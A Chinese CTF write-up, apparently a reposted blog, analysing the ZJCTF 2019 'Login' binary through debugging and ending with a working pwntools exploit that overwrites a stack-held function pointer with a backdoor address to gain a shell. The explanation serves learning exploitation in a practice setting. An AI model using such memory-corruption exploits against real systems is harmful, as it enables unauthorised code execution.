[ZJCTF 2019]Login--动态调试--详细版

news2025/1/15 6:59:19

前言

主要是因为太菜了,看了别人的exp,还是懵懵懂懂的,都是静态分析,不明白为会在改密码的时候会导致最后的getshell。今天给它动态分析整一个,看看到底哪里出错了。

基本原理

网上有很多介绍的,在这里说一下个人的理解。

静态分析

在0x4009e2的函数中,当我们输对密码后会调用 **a1()。从**上看a1是函数地址的地址,通过分析发现a1其实是通过栈来保存的地址
rax的值是从rdi,main中传参过来的
在这里插入图片描述
在main函数中我们rax是由0x400A79函数(password_checker1)函数执行后得来的,进入0x400A79函数
在这里插入图片描述
rax的值是从0x400A79函数(password_checker1)中rdi赋值来的
在这里插入图片描述
rdi就是main函数中传进来的,在往上看就是0x400AC4(my_user_shell_addr)函数中返回的rax
在这里插入图片描述
0x400AC4(my_user_shell_addr)rax就是_ZZ4mainENUlvE_4_FUNEv函数的地址0x400AB4
千万记住这个0x400AB4,后面还有用
在这里插入图片描述
通过静态分析我们发现当我们密码输对了以后应该会调用0x400AB4的函数,如果继续跟的话其实最后调用了User::shell()这个函数输出"No shell for you!",但实际执行的时候,却是程序崩溃了。
问题在于a1的值是通过main函数的两次栈值来保存的,其中第一次的栈值是main子函数的栈值,而main函数执行的过程中又会多次调用其它子函数,万一在其他子函数更改了第一次的栈值,程序就会崩溃了嘛。让我们动态分析一下,世纪的情况

动态分析

我们正常输入admin,2jctf_pa5sw0rd,走一遍。记住这个0x400AB4,记住这个0x400AB4,记住这个0x400AB4

参考函数
0x400ac4 my_user_shell_addr
0x400a79 password_checker1
0x4009E2 password_checker2
0x400996 strip_newline

当我们执行完my_user_shell_addr的时候0x400AB4是不是就出来了
在这里插入图片描述当我们执行完password_checker1函数的时候,我们发现最后a1()函数的a1的值是通过main函数的两次栈值来保存的0x400AB4的值还在
在这里插入图片描述
当我们在执行User::read_password()函数,rbp=0x7ffc1bff4ad0,而我们第一次的栈的值0x7ffc1bff4ab8,显然0x7ffc1bff4ab8已经被包含进了read_password函数中,如果将栈0x7ffc1bff4ab8的值改成我们想要的执行的地址不就可以完事了

在这里插入图片描述
继续在User::read_password()函数中执行,注意0x7ffc1bff4ab8的值还是0x400AB4,当我们执行完0x400996 (strip_newline)的时候发现0x400AB4变成0x4000B4,0x400e88是因为调试的时候还用的是成功的payload为Admin::shell()函数的地址。
在这里插入图片描述
下一图为补充的图,栈地址对不上,但是值对的上0x400AB4变成0x4000B4
在这里插入图片描述

问题就出在0x400996(strip_newline)函数上,我们看ida,在strip_newline函数上会传入s的地址就是上read_password的rbp 0x7ffc1bff4ad0-0x50 = 0x7ffc1bff4a80,s的栈地址0x7ffc1bff4a80。

在这里插入图片描述
我们第一次的栈的值0x7ffc1bff4ab8,相距0x48,而0x400996(strip_newline)函数会将[s-0x50,s]的值赋值,并将\x0a换成\x00
在这里插入图片描述
也就解释了0x400AB4为什么会变成0x4000B4的原因,而s刚好是我们输入的password,一切就解释通了。

最后构造exp

exp

from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./login")

#
if len(sys.argv)>1:
	p = remote("node4.buuoj.cn","25684")
	#libc = ELF("./libc-2.23.so_32")
else:
	p = process("./login")
	#p = remote("172.17.0.2",8888)
	#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
	#p = gdb.debug(['/home/iris/work/pwn/buuctf/ubuntu16/lib/x86_64-linux-gnu/ld-2.23.so', './0ctfbabyheap'], env={'LD_PRELOAD': './libc-2.23.so'})
"""

0x400ac4	my_user_shell_addr
0x400a79   	password_checker1
0x4009E2	password_checker2
rax <-0x7fffffffdcd8


0x7ffe678cf100 —▸ 0x7ffe678cf0c8 —▸ 0x400ab4 (main::{lambda()#1}::_FUN()) ◂— push   rbp
""" 

context.log_level="debug"
def debug():
	if len(sys.argv)<=1:
		gdb.attach(p,"b printf")
		
debug()
		
back_door =	0x400E88
payload = b"2jctf_pa5sw0rd\x00".ljust(0x48,b"\x00")+p32(back_door)#
# 补充的“\x00”是因为后续的snprintf,格式化输出会覆盖掉最后执行的地址
p.sendlineafter(":","admin")
p.sendlineafter(":",payload)


p.interactive()
		
		

手敲不易,点个赞支持一下呗,感谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/24326.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux学习——01 gcc编译器

一、程序构建过程 高级语言的代码无法被计算机执行&#xff0c;需要将高级语言代码编译成汇编语言&#xff0c;然后再将汇编语言翻译成机器指令&#xff0c;最后通过链接生成最后的可执行文件&#xff0c;此时该文件才可以被计算机执行。总共有四步&#xff1a; 1.1 预编译&a…

[02] BLEMotion-Kit 基于QMI8658传感器使用加速度计进行倾斜检测

文章目录1. 先修知识2. 原理&#xff08;单轴为例&#xff09;2.1 单轴倾斜2.2 双轴倾斜2.3 三轴倾斜1. 先修知识 2. 原理&#xff08;单轴为例&#xff09; 首先我们要知道的是&#xff1a;当目标轴(本例中为X轴)与地球表面平行时,传感器处于 0g 场。顺时针或逆时针旋转90 将…

springboot+java大学生西部计划志愿者岗位补助管理系统

本课题要求实现一套大学生西部计划管理系&#xff0c;系统主要包括系统个人中心、志愿者管理、岗位信息管理、补助信息管理、交流论坛、系统管理等功能模块。 为完善志愿者、岗位信息&#xff0c;应当建立健全志愿者的补助和管理机制&#xff0c;建立有效的激励机制&#xff0c…

Android Studio无法连接设备,一直显示Loading Devices...

不知道什么时候做了啥&#xff0c;从某个时间点之后&#xff0c;电脑就特别容易断开adb&#xff0c;有时候重启电脑都不管用。 一直显示"Loading Devices..."&#xff0c;拔插设备&#xff0c;重启Android Studio都没用&#xff0c;甚至重启电脑有时候也不行。 反正…

全部售罄!1,000 多个Sports Land NFT 在 24 小时内被抢空!

现在还来得及&#xff0c;抓紧时间&#xff01;&#x1f440; 在不到24小时的时间里&#xff0c;来自《Sports Land&#xff1a;足球爱好者》作品集&#xff08;2022 年 11 月 16 日发布&#xff09;的1000 多个可穿戴 NFT 已被售出&#xff01; 祝贺 Hermit Crab Game Studio …

bootstrap学习(一)

&#xff08;1&#xff09;bootstrap第一个程序 &#xff08;2&#xff09;bootstrap排版 &#xff08;1&#xff09;bootstrap第一个程序 创建boot文件夹方置bootstrap所需要的文件目录&#xff0c;拷贝过来 创建base目录&#xff0c;创建html页面&#xff1a; 引入css&#…

python复杂网络分析库NetworkX

文章目录1.Networkx简介2.图的类型&#xff08;Graphs&#xff09;3.图的创建&#xff08;Graph Creation&#xff09;4.图的属性&#xff08;Graph Reporting&#xff09;5.图算法&#xff08;Algorithms&#xff09;6.图的绘制&#xff08;Drawing&#xff09;7.数据结构8.图…

A股api交易接口文档怎么使用?

A股api交易接口是在股票量化交易中常用到的一种量化工具&#xff0c;对于它的用法&#xff0c;小编针对性的以文档的例子说明&#xff1a; 交易接口API 功能概述&#xff1a; 名称 功能 基本函数 Init API 初始化 Deinit API 反初始化 Logon 登录交易账户 Logoff 登…

年底了,接个大活儿,做一个回顾公司五年发展的总结ppt,要求做成H5网页

公司想做个五年总结 这不快年底了么&#xff0c;公司高层打算把这五年的发展历程做一次回顾巡礼&#xff0c;一方面宣扬一下公司文化&#xff0c;另一方面歌颂一下公司这五年来取得的辉煌成就&#xff0c;单纯的做个海报&#xff0c;写个公众号文章&#xff0c;或整个传统ppt在…

最强大脑记忆曲线(11)—— 30天结束第一轮复习后的操作

对于30天以后&#xff0c;结束第一轮&#xff08;6次&#xff09;复习以后&#xff0c;我们要做点什么操作呢&#xff1f; 对第一轮复习效果的评判可以是客观的&#xff0c;也可以是主观的。所谓客观的&#xff0c;是按“复习的正确率”来评判&#xff0c;大于某个值&#xff0…

内部类_Java

作者&#xff1a;爱塔居的博客_CSDN博客-JavaSE领域博主 专栏&#xff1a;JavaSE 文章目录 目录 文章目录 一、内部类的概念 二、内部类的分类 1.静态内部类&#xff08;被static修饰&#xff09; 2.非静态内部类 3.局部内部类 4.匿名内部类 一、内部类的概念 当一个事物…

【JVM】jvm的双亲委派机制

双亲委派机制一、JVM体系结构二、双亲委派机制的含义三、双亲委派机制的源代码四、双亲委派机制的意义五、示例代码一、JVM体系结构 我们先在这里放一张 JVM 的体系架构图&#xff0c;方便我们有个总体认知。 在了解JVM的双亲委派机制之前&#xff0c;你不得不需要知道的几个…

【Mapbox GL JS 入门】Hello world

目录Mapbox GL JS 简介安装Access tokenHello worldMapbox GL JS 简介 官网&#xff1a;https://www.mapbox.com/ git&#xff1a;https://github.com/mapbox/mapbox-gl-js/ 是一个客户端JavaScript库&#xff0c;为了web开发人员可以在web浏览器中动态绘制地图&#xff0c;在…

pico3pro使用unity播放360全景视频及事件交互

1.准备好全景视频&#xff0c;看起来是这样子的。 2.新建一个Materal 注意选择Shader如上图&#xff0c;Render Queue选择AlphaTest&#xff0c;因为我们要在视频前面放置按钮&#xff0c;UI的渲染值为3000&#xff0c;所以可以避免UI不显示的问题&#xff0c;这样UI会一直显示…

代码随想录算法训练营第四十一天| LeetCode343. 整数拆分、LeetCode96. 不同的二叉搜索树

一、LeetCode343. 整数拆分 1&#xff1a;题目描述&#xff08;343. 整数拆分&#xff09; 给定一个正整数 n &#xff0c;将其拆分为 k 个 正整数 的和&#xff08; k > 2 &#xff09;&#xff0c;并使这些整数的乘积最大化。 返回 你可以获得的最大乘积 。 2&#xff1a;…

【Linux系统】网络配置保姆级教学

目录 文章目录网络配置yum install tree 安装和tree显示Linux网络配置[原理图](https://so.csdn.net/so/search?q原理图&spm1001.2101.3001.7020)查看ip和网关ipconfig查看windows网络配置ifconfig查看Linux网络配置ping测试主机之间网络连通性Linux网络环境配置**第一种方…

在 Azure AKS 上部署 EMQX MQTT 服务器集群

云进入以「应用为中心」的云原生阶段&#xff0c;Operator 模式的出现&#xff0c;为 Kubernetes 中的自动化任务创建配置与管理提供了一套行之有效的标准规范。针对大规模分布式物联网 MQTT 消息服务器 EMQX 全生命期管理的自动化管理工具 EMQX Kubernetes Operator&#xff0…

Android最全的setContentView源码分析

前言 我们在开发过程中&#xff0c;在布局文件里添加TextView,代码运行起来就可以看到对应文字显示出来&#xff0c;那系统是如何把我们的TextView加载并显示出来的呢&#xff1f; 源码分析&#xff08;这里版本对应30&#xff09; 第一阶段 我们直接从Activity.setContent…

《第一行代码》核心知识点:Activity(活动)

Android四大组件之一&#xff1a;Activity前言二、Android四大组件之一&#xff1a;Activity(活动)2.1 活动基本介绍2.2 活动的基本用法2.2.1 如何在应用中弹出提示信息2.2.2 如何在活动中添加Menu菜单&#xff08;就一般右上角的三点&#xff09;2.2.3 如何实现活动跳转2.2.5 …

CANoe-什么是Vector Tool Platform(全网唯一讲明白的文章)

在CANoe软件:Home -> Measurement下,有一个功能项,Vector Tool Platform,是做什么用的呢? 点击后打开这个功能页面,发现界面内容不多,包含:设备选择、组件更新、系统更新、远程连接,还有一个连接状态显示 从界面功能猜测:这是一个设备管理和连接的平台。那么是什么…